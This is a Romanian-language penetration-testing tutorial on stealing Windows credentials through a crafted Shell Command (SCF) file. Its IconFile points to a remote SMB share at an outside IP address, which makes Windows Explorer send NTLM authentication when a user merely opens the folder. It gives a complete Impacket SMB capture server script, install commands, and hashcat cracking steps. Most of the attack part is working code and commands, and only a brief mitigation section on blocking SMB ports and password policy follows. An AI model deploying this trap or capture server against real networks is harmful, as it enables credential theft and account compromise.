Extragerea de Credențiale Windows este scopul final al fiecărui penetration tester. În plus, scurgerea acestor informații în afara rețelei locale agravează problema. Există multe modalități prin care se poate ajunge la acest lucru. Unele necesită atacuri complexe sau interacțiuni cu utilizatorul. Există totuși o caracteristică Windows, veche și nedocumentată, care ușurează această munca. Permiteți-mi să introduc fișierele de tipul Windows Explorer Shell Command.
O parte din acest articol a fost inspirată de Bosko Stankovic. Citiți articolul original aici.
Puțină istorie
Probabil unii dintre voi vă amintiți că versiunile mai vechi de Windows au avut o mică pictogramă pe bara de activități numită Show Desktop. Prin clic pe acesta pictogramă, toate ferestrele se minimizau ca și cum am apăsa combinația de taste Win+D. Această funcționalitate a fost implementată utilizând un fișier care avea extensia SCF. Fișierul conținea câteva rânduri de text. În cazul de față, fișierul Show Desktop pe care l-am menționat arăta așa:
[Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=ToggleDesktop
Fișierul se compunea dintr-o comandă care era executată de Windows Explorer și o cale către o pictogramă. Documentația oficială pentru Shell Command Files cam lipsește și nu voi intra prea mult în detalii. În plus, se pare că Microsoft a uitat de aceste fișiere. De asemenea, în cele mai recente versiuni Windows, pictograma Show Desktop pare să fi dispărut. Cu toate acestea, modul în care Windows Explorer procesează aceste fișiere a rămas același.
Extragerea credențialelor
În timp ce secțiunea de fișier care definește comandă este inutilă pentru noi, calea către pictogramă este o poveste diferită. În momentul în care utilizatorul navighează către locația fișierului, Windows Explorer încearcă să afișeze pictograma. Aceasta este partea care permite furtul de credențiale Windows. Permiteți-mi să repet din nou: utilizatorul nu trebuie să deschidă fișierul, trebuie doar să navigheze la locația sa.
Dacă setăm calea pictogramei către o locație partajată în rețea, Windows Explorer va încerca să o încarce de acolo. În același timp, va încerca să se autentifice la distanță pentru a putea accesa locația. În plus, această autentificare automată are loc chiar dacă partajarea de la distanță este în afara rețelei curente. Din acest motiv, putem realiza un fișier SCF care va face ca Windows Explorer să încarce pictograma dintr-o locație pe care o controlăm noi. Ca rezultat, vom putea captura pachetele de autentificare. În plus, putem limita conținutul fișierului la doar două linii și acesta va funcționa în continuare.
[Shell] IconFile=\\104.28.10.240\icon
Configurarea capcanei
Permiteți-mi să introduc Impacket, o colecție de clase Python pentru lucrul cu protocoalele de rețea. În plus, aceste clase conțin și funcționalități pentru crearea de servere SMB. Exact de ceea ce avem nevoie. Hai să ne apucam de lucru.
Am ales să fac implementarea pe un Raspberry Pi 3 Model B care rulează Raspbian Jessie Pixel. Am făcut această alegere doar pentru că am așa ceva la îndemână. Se pot obține aceleași rezultate și sub o altă distribuție Linux.
Instalare dependințelor
În primul rând, actualizăm sursa de pachete.
sudo apt-get update
Instalăm fișierele header pentru the Python C API (necesare pentru pycrypto)
sudo apt-get install python-dev
Continuăm cu instalarea a două pachete Python de care avem nevoie, pycrypto și impacket.
sudo pip install pycrypto sudo pip install impacket
Acum putem trece la scriptul serverului SMB.
Scriptul
Scriptul complet poate fi descărcat de pe GitHub de la adresa
https://github.com/levifuksz/sbm-steal
Începem prin a importa toate pachetele de care avem nevoie
import sys import logging from impacket import smbserver
Definim o clasă care permite afișarea de date la consola și scrierea lor într-un fișier în același timp.
class Logger(object): def __init__(self): self.terminal = sys.stdout self.log = open('smbstealer.log', 'w') def write(self, message): self.terminal.write(message) self.log.write(message) self.log.flush()
Configurăm afișarea datelor folosind clasa de mai sus.
handler = logging.StreamHandler(Logger()) logging.getLogger().addHandler(handler) logging.getLogger().setLevel(logging.DEBUG)
Instanțiem și configurăm serverul SMB utilizând Impacket.
server = smbserver.SimpleSMBServer() server.addShare('Public', '/tmp', 'Public Share') server.setSMB2Support(True) server.setSMBChallenge('deaddeaddeaddead') server.setLogFile('')
În cele din urmă, pornim serverul.
server.start()
Dovada conceptului
Se pare că este timpul să punem teoria în practică. Voi adăuga un nou utilizator Windows la mașina mea. Acesta se va numi victim. De asemenea, voi seta o parolă slabă. De exemplu, Letmein1.
net user victim Letmein1 /Add
Apoi, voi crea un fișier Shell Command care să indice către IP-ul pe care rulează scriptul de mai sus. În același timp, voi rula scriptul pe Raspberry Pi.
sudo python smbstealer.py
În cele din urmă, voi naviga la dosarul unde este localizat fișierul SCP pentru a declanșa încărcarea pictogramei. După cum puteți vedea mai jos, am reușit să capturam datele de autentificare.
Recuperarea parolei
Opțiunea evidentă pentru recuperarea parolei este hashcat. Puteți să îl descărcați de aici.
Deschideți fișierul jurnal generat de scriptul nostru și copiați linia cu autentificarea într-un fișier text nou numit captured.txt. Ar trebui să fie o singură linie de text lungă.
Utilizați un dicționar de parole bun. Probabil în cazul nostru, o listă cu cele mai slabe 500 de parole va fi de ajuns. În plus, deja cunoaștem parola, așa că nu ar trebui să ne facem probleme în privința recuperării acesteia.
Porniți hashcat și așteptați.
hashcat -m 5600 captured.txt wordlist.txt
Dacă parola nu este suficient de complexă, hashcat strong> ar trebui să o recupereze în cel mai scurt timp.
În cele din urmă, aici este dovada că am reușit să recuperăm parola contului pe care l-am folosit pe post de exemplu.
Mitigare
Primul lucru pe care îl puteți face ca și sysadmin pentru a vă proteja rețeaua contra acestui atac este blocarea traficului de ieșire pe portul TCP 445. În plus, puteți bloca și porturile TCP 139, UDP 137 și UDP 138. Acestea sunt utilizate de SMB și NetBIOS. Traficul pe aceste porturi nu ar avea motive să părăsească rețeaua locală.
Deoarece credențialele pot fi furate utilizând această metodă și în interiorul rețelei locale, configurați o politică de complexitate parole. Chiar dacă cineva interceptează pachetele de autentificare, recuperarea parolelor complexe și lungi poate fi destul de dificilă.
T3ZlciBBbmQgT3V0IQ==
Be First to Comment